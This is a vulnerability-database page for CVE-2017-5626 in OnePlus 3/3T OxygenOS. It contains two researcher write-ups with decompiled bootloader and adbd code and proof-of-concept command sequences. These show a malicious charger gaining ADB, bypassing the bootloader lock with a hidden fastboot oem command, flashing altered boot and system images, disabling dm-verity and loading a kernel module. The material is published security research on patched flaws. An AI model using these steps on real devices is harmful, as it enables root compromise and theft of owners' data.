Vulnerabilities > CVE-2017-5626 - Unspecified vulnerability in Oneplus Oxygenos 3.2.8/3.5.4

047910
CVSS 9.8 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
oneplus
critical

Summary

OxygenOS before version 4.0.2, on OnePlus 3 and 3T, has two hidden fastboot oem commands (4F500301 and 4F500302) that allow the attacker to lock/unlock the bootloader, disregarding the 'OEM Unlocking' checkbox, without user confirmation and without a factory reset. This allows for persistent code execution with high privileges (kernel/root) with complete access to user data.

Vulnerable Configurations

Part Description Count
OS
Oneplus
2
Hardware
Oneplus
2

Seebug

  • bulletinFamilyexploit
    descriptionLast month we [published](/2017/02/08/oneplus3-bootloader-vulns/) [CVE-2017-5626](/vulns/aleph-2017003) (patched in OxygenOS 4.0.2), a vulnerability which allowed attackers to effectively unlock a OnePlus 3/3T device (without a factory reset). Combining this with our also discovered [CVE-2017-5624](/vulns/aleph-2017002) (patched in OxygenOS 4.0.3) enabled a powerful attack against locked devices – persistent highly privileged code execution without any warning to the user and with access to user’s data (after the victim enters his credentials). One caveat from the attacker’s perspective, however, is that it either required physical or an authorized-ADB access to the device. In this blog post we describe a new critical vulnerability [CVE-2017-5622](/vulns/aleph-2017004) in OnePlus 3/3T (OxygenOS 4.0.2 and below), which relaxes the attack prerequisites. Combining it with [CVE-2017-5626](/vulns/aleph-2017003) allows a malicious charger to **own your device if it’s hooked-up while being powered off** (the charger may also just wait until the battery is drained). Adding [CVE-2017-5624](/vulns/aleph-2017002) to the stack of exploited vulnerabilities will also help the attacker to hide the fact that he modified the device’s `system` partition. We had responsibly reported [CVE-2017-5622](/vulns/aleph-2017004) to OnePlus Security that later fixed it in OxygenOS 4.0.3, [released](https://forums.oneplus.net/threads/oxygenos-4-0-3-n-ota-for-oneplus-3.497080/) last month. We would like to thank OnePlus Security for the efficient manner in which they handled this critical security issue. ##### Demos First, before we dive into the technical details, here is a couple of video demonstrations of our PoCs. The first video presents how the ‘charger’ can exploit [CVE-2017-5622](/vulns/aleph-2017004) & [CVE-2017-5626](/vulns/aleph-2017003) for gaining a **root shell, putting SELinux in `permissive` mode, and even executing kernel code**: https://www.youtube.com/embed/tDRPWvYJYfU?rel=0?ecver=1 The second video shows how the ‘charger’ exploits [CVE-2017-5622](/vulns/aleph-2017004) , [CVE-2017-5624](/vulns/aleph-2017002) & [CVE-2017-5626](/vulns/aleph-2017003) for replacing the `system` partition in order to **install a privileged app**. Please note that once the replacement is complete, the victim has no indication that the device has been tampered with: https://www.youtube.com/embed/ZqCzPua0RCA?rel=0?ecver=1 ### Charger Boot Mode ADB Access (CVE-2017-5622) When one connects a powered off OnePlus 3/3T device to a charger, the bootloader will load the platform with the `charger` boot mode (in other words: `ro.bootmode = charger`). The platform of course MUST NOT enable any sensitive USB interfaces because otherwise it could be attacked by malicious chargers, an attack also-known-as [‘Juice-jacking’](https://krebsonsecurity.com/2011/08/beware-of-juice-jacking/). Much to our surprise, when we first connected our powered off OnePlus 3/3T devices, we noticed that we had ADB access: ``` > adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ getprop ro.bootmode charger android:/ $ getprop ro.boot.mode charger android:/ $ getprop | grep -i oxygen [ro.oxygen.version]: [4.0.2] android:/ $ ``` Since this does not (and should not!) normally happen when you connect a powered off Android device to a charger, we were quite puzzled. We had two immediate questions in mind: ### Question 1: Why is ADB running? The answer to this question lies within the Android boot process, during which `init` executes several scripts under the `boot` partition. By running `ps`, it can be seen that `init` is the parent of `adbd`: ``` android:/ $ ps -x | grep adb shell 444 1 12324 564 poll_sched 0000000000 S /sbin/adbd (u:2, s:10) android:/ $ ps -x |grep init root 1 0 15828 2496 SyS_epoll_ 0000000000 S /init (u:6, s:102) ``` Thus some `init` script instruction starts `adbd` when the platform runs in the `charger` boot mode. Taking a look at `init.qcom.usb.rc` reveals the following: ``` on charger [...] mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb setprop persist.sys.usb.config adb setprop sys.usb.configfs 0 setprop sys.usb.config adb [...] ``` The `on charger` event is triggered if `ro.bootmode == charger`, as can be seen from Android 7.1.1’s [init.cpp](https://android.googlesource.com/platform/system/core/+/android-7.1.1_r24/init/init.cpp): ``` [...] std::string bootmode = property_get("ro.bootmode"); if (bootmode == 'charger') { am.QueueEventTrigger('charger'); } else { am.QueueEventTrigger("late-init"); } [...] ``` Therefore, the `sys.usb.config` property changes to `adb`, which then instructs `init` to run `adbd`, under `init.usb.rc`: ``` [...] on property:sys.usb.config=adb && property:sys.usb.configfs=0 write /sys/class/android_usb/android0/enable 0 write /sys/class/android_usb/android0/idVendor 2A70 #VENDOR_EDIT Anderson@, 2016/09/21, modify from 18d1 to 2A70 write /sys/class/android_usb/android0/idProduct 4EE7 write /sys/class/android_usb/android0/functions ${sys.usb.config} write /sys/class/android_usb/android0/enable 1 start adbd setprop sys.usb.state ${sys.usb.config} [...] ``` #### Question 2: Where is the ADB Authorization? In order to protect against malicious USB ports (e.g. malicious chargers) targeting devices with `adbd` enabled, Android has had ADB authorization for quite some time (since Jelly-bean) – any attempt to gain an ADB session with an unauthorized device is now blocked. So what’s different in OnePlus 3/3T? First, let’s take a peek at the AOSP implementation of `adbd`. The `adbd_main` routine reveals that there is some global flag, `auth_required`, that controls the ADB authorization: ``` int adbd_main(int server_port) { [...] if (ALLOW_ADBD_NO_AUTH && property_get_bool("ro.adb.secure", 0) == 0) { auth_required = false; } [...] ``` This flag is then used by the `handle_new_connection` routine: ``` static void handle_new_connection(atransport* t, apacket* p) { [...] if (!auth_required) { handle_online(t); send_connect(t); } else { send_auth_request(t); } [...] } ``` We can thus deduce that if OxygenOS used the stock `adbd`, then `ro.adb.secure` would be `0`, however: ``` android:/ $ getprop ro.adb.secure 1 android:/ $ ``` Therefore, OxygenOS of OnePlus 3/3T contains a customized `adbd`! Since we don’t have the sources, we need to take a look at the binary. Decompiling it with IDA shows: ``` __int64 sub_400994() { [...] if ( !(unsigned __int8)sub_440798("ro.adb.secure", 0LL) ) auth_required_50E088 = 0; getprop("ro.wandrfmode", &v95, &byte_4D735C); if ( !(unsigned int)strcmp(&v95, &a0_1) || !(unsigned int)strcmp(&v95, &a1_1) || !(unsigned int)strcmp(&v95, &a2) ) auth_required_50E088 = 0; getprop("ro.boot.mode", &v94, &byte_4D735C); if ( !(unsigned int)strcmp(&v94, 'charger') ) auth_required_50E088 = 0; [...] } ``` We can clearly see that OnePlus has customized the AOSP `adbd` s.t. `auth_required = 0` when the platform is started in the `charger` bootmode. (_Bonus points_: `ro.wandrfmode` relates to [CVE-2017-5623](/vulns/aleph-2017005) .) ### Exploitation So what can we do with ADB access? First, we should note that although we can gain a shell, we do not have access to user data since the partition is both unmounted and encrypted. What we can do, however, is simply reboot into the `fastboot` mode by issuing `reboot bootloader`, and then replace the `boot` and/or `system` partitions by exploiting [CVE-2017-5626](/vulns/aleph-2017003) ! In order to remove any warning about the `system` partition modification, we may also exploit [CVE-2017-5624](/vulns/aleph-2017002) . It should be noted that if the device’s bootloader happens to be unlocked, then the charger does not even need [CVE-2017-5626](/vulns/aleph-2017003) . As a reminder, [CVE-2017-5626](/vulns/aleph-2017003) (`fastboot oem 4F500301`) allowed one with `fastboot` access to effectively unlock the device, disregarding `OEM Unlocking`, without user confirmation and without erasure of user data (which normally occurs after lock-state changes). Moreover, the device still reports it’s locked after running this command. Exploiting this vulnerability alone allows for kernel code execution albeit with a 5 seconds warning message. [CVE-2017-5624](/vulns/aleph-2017002) allowed the attacker, again with `fastboot` access, to disable `dm-verity`, a feature which protects against tampering with the `system` partition, for example. #### PoC 1: Charger Gains a root shell & Kernel Code Execution (CVE-2017-5622/6) The attack begins when the victim connects a powered off device to the ‘charger’, which gains an ADB session [CVE-2017-5622](/vulns/aleph-2017004) , and reboots the device into `fastboot`: ``` > adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ reboot bootloader > fastboot devices cb010b5a fastboot ``` By exploiting [CVE-2017-5626](/vulns/aleph-2017003) the ‘charger’ replaces the `boot` image s.t. `adbd` runs as `root` and SELinux is in `permissive` mode (see the previous blog post): ``` > fastboot flash boot evilboot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [ 0.335s] writing 'boot'... FAILED (remote: Partition flashing is not allowed) finished. total time: 0.358s > fastboot oem 4F500301 ... OKAY [ 0.020s] finished. total time: 0.021s > fastboot flash boot evilboot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [ 0.342s] writing 'boot'... OKAY [ 0.135s] finished. total time: 0.480s ``` That gives the charger a root shell, even before the user enters his credentials (but without access to user data!): ``` OnePlus3:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 OnePlus3:/ # getenforce Permissive ``` The OnePlus 3/3T kernel is compiled with LKM enabled, so running kernel code does not even require patching / recompiling the kernel. So I created a tiny kernel module: ``` #include <linux/module.h> #include <linux/kdb.h> int init_module(void) { printk(KERN_ALERT "Hello From Evil LKM\n"); return 1; } ``` The charger can then load it into the kernel: ``` OnePlus3:/data/local/tmp # insmod ./evil.ko OnePlus3:/data/local/tmp # dmesg | grep "Evil LKM" [19700121_21:09:58.970409]@3 Hello From Evil LKM ``` #### PoC 2: Charger Replaces the system Partition (CVE-2017-5622/4/6) The vulnerabilities can be combined together for code execution in privileged SELinux domains, without any warning to the user and with access to original user data. In order to demonstrate this, I’ve modified the `system` partition, adding a privileged app. This can be done by placing an APK under `/system/priv-app/<APK_DIR>` which will eventually cause it to be added to the [priv_app domain](https://android.googlesource.com/platform/system/sepolicy/+/android-7.1.1_r16/priv_app.te). (Don’t foger to `chcon` your APK and its containing directory!) Again, the attack begins when the victim connects a powered off device to the ‘charger’, which gains an ADB session [CVE-2017-5622](/vulns/aleph-2017004) , and reboots the device into `fastboot`: ``` > adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ reboot bootloader > fastboot devices cb010b5a fastboot ``` By exploiting [CVE-2017-5626](/vulns/aleph-2017003) the ‘charger’ can replace the `system` partition with a malicious one: ``` > fastboot flash system evilsystem.img target reported max download size of 440401920 bytes erasing 'system'... FAILED (remote: Partition erase is not allowed) finished. total time: 0.014s > fastboot oem 4F500301 OKAY [ 0.020s] finished. total time: 0.021s > fastboot flash system evilsystem.img target reported max download size of 440401920 bytes erasing 'system'... OKAY [ 0.010s] ... sending sparse 'system' 7/7 (268486 KB)... OKAY [ 6.748s] writing 'system' 7/7... OKAY [ 3.291s] finished. total time: 122.675s ``` By exploiting [CVE-2017-5624](/vulns/aleph-2017002) the ‘charger’ can disable `dm-verity`: ``` > fastboot oem disable_dm_verity ... OKAY [ 0.034s] finished. total time: 0.036s ``` Indeed the app loads with the `priv_app` context: ``` 1|OnePlus3:/ $ getprop | grep dm_verity [ro.boot.enable_dm_verity]: [0] OnePlus3:/ $ ps -Z | grep evilapp u:r:priv_app:s0:c512,c768 u0_a16 4764 2200 1716004 74600 SyS_epoll_ 0000000000 S alephresearch.evilapp ``` ### Patch OnePlus has fixed the vulnerability by simply removing the ` { persist. } sys.usb.config ` related lines under the `on charger` event: ``` on charger #yfb add to salve binder error log in poweroff charge setrlimit 13 40 40 setprop sys.usb.config mass_storage mkdir /dev/usb-ffs 0770 shell shell mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb #14(0xe) means reject cpu1 cpu2 cpu3online write /sys/module/msm_thermal/core_control/cpus_offlined 14 #add by [email protected] 2015/12/22, improve the performance of charging write /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor powersave write /sys/devices/system/cpu/cpu1/online 0 write /sys/devices/system/cpu/cpu2/online 0 write /sys/devices/system/cpu/cpu3/online 0 #yfb add to salve binder error log in poweroff charge start srvmag_charger ``` # OnePlus 2 Last, OnePlus 2 also had the ` { persist } .sys.usb.config ` property set to `adb` under the `on charger` event of init.qcom.usb.rc: ``` on charger mkdir /dev/usb-ffs 0770 shell shell mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb setprop persist.sys.usb.config adb [...] ``` And also under `init.rc`: ``` on charger mount ext4 /dev/block/bootdevice/by-name/system /system ro setprop sys.usb.configfs 0 load_system_props class_start charger setprop sys.usb.config adb ``` Despite that, when we hooked-up our OnePlus 2 device, we didn’t manage to obtain an `adb` shell, although the USB interface was up & running: ``` > adb shell error: device unauthorized. This adb server's $ADB_VENDOR_KEYS is not set Try 'adb kill-server' if that seems wrong. Otherwise check for a confirmation dialog on your device. > adb devices List of devices attached 6b3ef4d5 unauthorized ``` Thus, OnePlus 2 is not vulnerable – in contrast to the OnePlus 3/3T case, the OnePlus 2 OxygenOS image had the ADB authorization left intact. Disassembling its `adbd` binary shows that it indeed does not have the `ro.boot.mode` `auth_required` [bypass](#question-2-where-is-the-adb-authorization).
    idSSV:92832
    last seen2017-11-19
    modified2017-03-27
    published2017-03-27
    reporterRoot
    titleOnePlus 3/3T open up an ADB session without authorization (CVE-2017-5622)
  • bulletinFamilyexploit
    description### Bypassing the Bootloader’s Lock (CVE-2017-5626) OnePlus 3 & 3T running OxygenOS 3.2 - 4.0.1 had two proprietary fastboot `oem` commands: 1. `fastboot oem 4F500301` – bypasses the bootloader’s lock – allowing one with fastboot access to effectively unlock the device, disregarding `OEM Unlocking`, without user confirmation and without erasure of userdata (which normally occurs after lock-state changes). Moreover, the device still reports it’s locked after running this command. 2. `fastboot oem 4F500302` – resets various bootloader settings. For example, it will lock an unlocked bootloader without user confirmation. Analyzing the bootloader binary shows that the routine which handles the `4F500301` command is pretty straightforward: ``` // 'oem 4F500301' handler int sub_918427F0() { magicFlag_dword_91989C10 = 1; if ( dword_9198D804 != dword_9198D804 ) assert(1, dword_9198D804, dword_9198D804); return sendOK((int)"", dword_9198D804); } ``` Thus it sets some global flag located at `91989C10` (which we named `magicFlag`). By looking at the procedures which handle the format/erase fastboot commands, we can clearly see `magicFlag` overrides the lock state of the device in several checks – when flashing or erasing a partition: ``` // 'flash' handler const char *__fastcall sub_91847EEC(char *partitionName, int *a2, int a3) { char *pname; // r5@1 ... pname = partitionName; v4 = a2; v5 = a3; if ( returnTRUE1(partitionName, (int)a2) ) { result = (const char *)sub_918428F0(pname, v6); if ( (result || magicFlag_dword_91989C10) && ((result = (const char *)sub_91842880(pname, v10)) != 0 || magicFlag_dword_91989C10) ) { result = (const char *)sub_918428F0(pname, v10); if ( !result || magicFlag_dword_91989C10 ) goto LABEL_7; v8 = dword_9198D804; if ( dword_9198D804 != dword_9198D804 ) goto LABEL_28; v11 = "Critical partition flashing is not allowed"; } else { v8 = dword_9198D804; if ( dword_9198D804 != dword_9198D804 ) goto LABEL_28; v11 = "Partition flashing is not allowed"; } return (const char *)FAIL2((int)v11, v10); } LABEL_7: ... if ( *v4 != 0xED26FF3A ) { if ( *v4 == 0xCE1AD63C ) cmd_flash_meta_img(pname, (unsigned int)v4, v5); else cmd_flash_mmc_img(pname, (int)v4, v5); goto LABEL_10; } v7 = v4; } cmd_flash_mmc_sparse_img(pname, (int)v7, v5); ... } ``` ``` // 'erase' handler int __fastcall sub_91847118(char *partitionName, int a2, int a3) { ... v3 = partitionName; v4 = returnTRUE1(partitionName, a2); if ( !v4 ) { LABEL_7: ... if ( v4 ) { if ( dword_9198D804 == dword_9198D804 ) return eraseParition(v3); } ... } v4 = sub_918428F0(v3, v5); if ( !v4 && !magicFlag_dword_91989C10 ) { v6 = dword_9198D804; if ( dword_9198D804 == dword_9198D804 ) { v7 = "Partition erase is not allowed"; return FAIL2((int)v7, v5); } goto LABEL_23; } v4 = sub_91842880(v3, v5); if ( !v4 && !magicFlag_dword_91989C10 ) { v6 = dword_9198D804; if ( dword_9198D804 == dword_9198D804 ) { v7 = "Partition flashing is not allowed"; return FAIL2((int)v7, v5); } LABEL_23: assert(v4, v5, v6); } v4 = sub_918428F0(v3, v5); if ( !v4 || magicFlag_dword_91989C10 ) goto LABEL_7; v6 = dword_9198D804; ... v7 = "Critical partition erase is not allowed"; return FAIL2((int)v7, v5); } ``` ### Exploiting CVE-2017-5626 for Kernel Code Execution By exploiting this vulnerability, the attacker, for example, can flash a malicious boot image (which contains both the kernel & the root ramfs), in order to practically own the platform. The problem, however, is that the bootloader and platform detect such modifications, a feature known as [Verified Boot](https://source.android.com/security/verifiedboot/). The `boot` and `recovery` partitions are verified by the bootloader – flashing a modified `boot` partition, for instance, will prompt the following warning upon boot: ![Verified Boot warning](https://images.seebug.org/content/images/2017/02/opo3-red-bootstate.jpg). Another option which will not trigger this warning is flashing an old non-modified boot image – older images contain known security vulnerabilities which can be exploited by the attacker. Anyway, despite the warning (which automatically disappears after 5 seconds!) OnePlus 3/3T still allows to boot in the red [verifiedboot state](https://source.android.com/security/verifiedboot/verified-boot.html#boot_state), hence the attacker’s code executes. There is an uncountable number of ways for demonstrating the severity of this, so I chose the easiest one. By modifying the boot image: 1. I’ve set SELinux to `permissive` mode by appending `androidboot.selinux=permissive` to the kernel command line. 2. I’ve modified the `ramfs` s.t. `ro.debuggable=1`, `ro.secure=0`, `ro.adb.secure=0`, and changed the USB config property (`sys.usb.config`) to include `adb` upon boot. I then exploited the vulnerability, flashing the modified `boot.img` (`evil_boot.img`): ``` λ fastboot flash boot evil_boot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [ 0.335s] writing 'boot'... FAILED (remote: Partition flashing is not allowed) finished. total time: 0.358s λ fastboot oem 4F500301 ... OKAY [ 0.020s] finished. total time: 0.021s λ fastboot flash boot evil_boot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [ 0.342s] writing 'boot'... OKAY [ 0.135s] finished. total time: 0.480s ``` That had given me a root shell, even before the user entered his credentials: ``` OnePlus3:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb), 1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt), 3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 OnePlus3:/ # getenforce Permissive ``` The OnePlus 3/3T kernel seems to be compiled with LKM enabled, so running kernel code does not even require patching / recompiling the kernel. So I created a tiny kernel module: ``` #include <linux/module.h> #include <linux/kdb.h> int init_module(void) { printk(KERN_ALERT "Hello From Kernel\n"); return 1; } ``` And then loaded it into the kernel: ``` OnePlus3:/data/local/tmp # insmod ./test.ko OnePlus3:/data/local/tmp # dmesg | grep Hello [19700121_21:09:58.970409]@3 Hello From Kernel ```
    idSSV:92669
    last seen2017-11-19
    modified2017-02-10
    published2017-02-10
    reporterRoot
    titleOnePlus 3/3T Bypassing the Bootloader’s Lock (CVE-2017-5626)